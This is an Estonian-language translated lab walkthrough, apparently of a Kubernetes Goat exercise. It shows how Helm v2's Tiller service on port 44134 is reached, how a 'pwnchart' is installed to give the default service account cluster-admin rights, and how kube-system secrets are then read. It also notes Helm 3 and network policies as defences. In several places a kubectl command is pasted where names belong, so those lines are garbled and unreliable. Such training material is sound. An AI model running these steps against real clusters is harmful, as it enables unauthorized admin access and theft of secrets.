
Helm â paketihaldur Kubernetes'ele, midagi sellist nagu apt-get Ubuntu jaoks. Selles mĂ€rkmes vaatame ĂŒle Helm'i varasema versiooni (v2) koos vaikimisi installitud tiller teenusega, mille kaudu pÀÀseme klastrile juurde.
Valmistame klastri ette, selleks kÀivitame kÀsu:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash![]()
Demonstratsioon
- Kui midagi lisaks ei seadista, kÀivitab Helm v2 teenuse Tiller, millel on RBAC tÀielikud administraatori Ôigused klastrile.
- PĂ€rast installimist nimel
kubectl -n kube-system edit cm kubelet-config-1.16kuvataksetiller-deploy, avatakse ka port 44134, seotud 0.0.0.0'ga. Seda saab kontrollida telnet'i abil.
$ telnet tiller-deploy.kube-system 44134
- NĂŒĂŒd saab ĂŒhenduda teenusega Tiller. Kasutame Helm'i binaarfaili operatsioonide lĂ€biviimiseks, et suhelda teenusega Tiller:
$ helm --host tiller-deploy.kube-system:44134 version![]()
- Proovime saada Kubernetes klastri saladusi nimel
kubectl -n kube-system edit cm kubelet-config-1.16:
$ kubectl get secrets -n kube-system![]()
- NĂŒĂŒd saame luua oma chart'i, milles loome administraatori Ă”igustega rolli ja mÀÀrame selle rolli vaikimisi teenusekontole. Kasutades selle teenusekonto tokenit, saime tĂ€ieliku ligipÀÀsu meie klastrile.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- NĂŒĂŒd, kui
pwncharton juurutatud, on vaikimisi teenusekontol tÀielik administraatori ligipÀÀs. Kontrollime veel kord saladuste saamistkubectl -n kube-system edit cm kubelet-config-1.16
kubectl get secrets -n kube-system
Selle skripti edukus sÔltub sellest, kuidas tiller on juurutatud, mÔnikord juurutavad administraatorid selle eraldi nimel teiste privileegidega. Helm 3 ei ole selliste haavatavuste suhtes haavatav, kuna tal pole Tiller'it.
TĂ”lkija mĂ€rkus: vĂ”rgupoliitikate kasutamine liikluse filtreerimiseks klastris aitab kaitsta selliste tĂŒĂŒpide haavatavuste eest.
Allikas: habr.com
